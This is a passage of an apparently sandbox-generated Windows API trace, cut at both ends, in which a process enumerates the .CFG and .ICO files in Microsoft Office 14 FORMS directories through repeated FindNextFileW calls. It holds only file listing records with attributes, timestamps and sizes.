nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff90d00, ftCreationTime.dwHighDateTime=0x1c666e6, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ff90d00, ftLastWriteTime.dwHighDateTime=0x1c666e6, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac132a00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac132a00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQ.CFG", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQL.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQS.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x21a07b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKS.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51f93100, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51f93100, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 0 [0069.802] GetLastError () returned 0x12 [0069.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0069.802] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0069.802] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITY.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xcf2890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPT.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPTS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8ed400, ftCreationTime.dwHighDateTime=0x1c68837, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec8ed400, ftLastWriteTime.dwHighDateTime=0x1c68837, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd189f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFRES.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFLICT.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44dc4200, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44dc4200, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACT.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xd3eb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLIST.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DISTLSTS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOC.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCL.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOCS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473e9c00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x473e9c00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEM.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEML.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXITEMS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb999900, ftCreationTime.dwHighDateTime=0x1c451be, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb999900, ftLastWriteTime.dwHighDateTime=0x1c451be, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMAIL.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d0fd900, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d0fd900, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOML.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1839500, ftCreationTime.dwHighDateTime=0x1c6bc1a, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1839500, ftLastWriteTime.dwHighDateTime=0x1c6bc1a, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOMS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPM.CFG", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPML.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPMS.ICO", cAlternateFileName="")) returned 1 [0069.803] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97071d00, ftCreationTime.dwHighDateTime=0x1c67f43, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, 